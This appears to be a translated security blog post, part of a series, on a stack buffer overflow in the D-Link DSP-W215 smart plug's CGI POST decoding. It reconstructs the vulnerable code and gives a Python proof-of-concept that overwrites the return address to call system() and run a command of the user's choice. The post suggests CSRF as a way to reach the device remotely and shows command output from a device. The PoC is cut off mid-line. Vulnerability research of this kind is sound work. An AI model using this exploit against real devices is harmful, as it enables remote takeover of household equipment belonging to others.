In the previous series:- Hacking the D-Link DSP-W215 Smart Plug
- Hacking the D-Link DSP-W215 Smart Plug. Again
- Hacking the D-Link DSP-W215 Smart Plug. Again and again
Until now, all the vulnerabilities found in DSP-W215 could only be performed from the LAN, well, if you are not stupid and have not opened access to the Smart Plug from the Internet.
A typical way to attack devices with an embedded web server, accessible only from the internal network, such as the fact that the DSP-W215 - through the CSRF. The problem with this method is that any web browser will encode (urlencode) the transmitted data, for example, the return address, but until this point we used vulnerabilities that do not decode our data (urldecode) (the vulnerability in the replace_special_char function that we exploited in previous article, decodes only a limited set of ASCII characters).
')
The binary file my_cgi.cgi, which is the main vulnerable target, contains the decode function decoder, which decodes the POST data. This function is passed two arguments: a pointer to the encoded data and a pointer to the buffer where the decoded data is stored:
void decode(char *encode_buf, char *decode_buf);
This function simply loops through all the bytes in encode_buf and decodes or copies them into decode_buf:

Roughly speaking, its code looks something like this:
void decode(char *encode_buf, char *decode_buf) { int encoded_byte_len; char *encode_buf_end_ptr = encode_buf + strlen(encode_buf); // Loop through all bytes in encode_buf, without knowing how big decode_buf is while(encoded_data < encode_buf_end_ptr) { decode_buf[0] = decoded_byte; decode_buf++; encoded_data += encoded_byte_len; } }
If the calling function did not take care of allocating a buffer of sufficient size to save all decoded data, then this buffer (decode_buf) may be filled with a large POST parameter.
In my_cgi.cgi there is only one function from which the decoding function is called - get_input_entries:

As you can see, the “decode” function is called only if the name of the POST parameter is “path”, and from memset you can see that the decode_buf buffer is allocated only 0 × 400 on the stack:
char decode_buf[0x400]; if(strcmp(entries[i]->name, "path") == 0) { // Decode path POST value into the fixed-size decode_buf decode(entries[i]->value, decode_buf); strcpy(entries[i]->value, decode_buf); } replace_special_char(entries[i]->value);
This means that if we pass the value of “path” in a POST request larger than 0 × 400 bytes, the decode_buf buffer on the stack inside the get_input_entries function will overflow. And, more interestingly, we will not have “bad” bytes, because the decode function decodes them all (for example, turns% 00 into NULL bytes) before copying back to the stack.
However, we need to take some caution when designing the exploit so as not to cause a buffer overflow in the replace_special_char function, which is called before returning from get_input_entries.
Fortunately, the data that is transferred to replace_special_char first passes strcpy from decode_buf, so if we put a NULL byte somewhere closer to the beginning of the POST request, a very small string is passed to the replace_special_char function (everything that was before the first NULL bytes) instead of the entire POST request that was decoded onto the stack.
The “path” POST value, which is longer than 1060 bytes, overflows everything in the get_input_entries function's stack frame, including the return address:

And because we have no bad bytes, we can use the return address 0x00405CEC, which we used in previous exploits, to call system () with a pointer to the stack ($ sp + 0 × 28):

Here is a small Python PoC code that overflows the get_input_entries function, replaces the return address with the system () call at 0x00405CEC and runs a command on the stack at the $ sp + 0 × 28 offset:
import sys import urllib import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "\x00" # Start with a NULL byte to prevent crashing in replace_special_chars buf += "D" * (1060-1) # Stack filler buf += "\x00\x40\x5C\xEC" # $ra, address of call to system() buf += "E" * 0x28 # Stack filler buf += command # Command to execute buf += "\x00" # NULL terminate the command, for good measure # URL encode the path POST value post_data = "path=" + urllib.quote_plus(buf).replace(
It works, of course, as it should be:
$ ./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 24 23:26 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r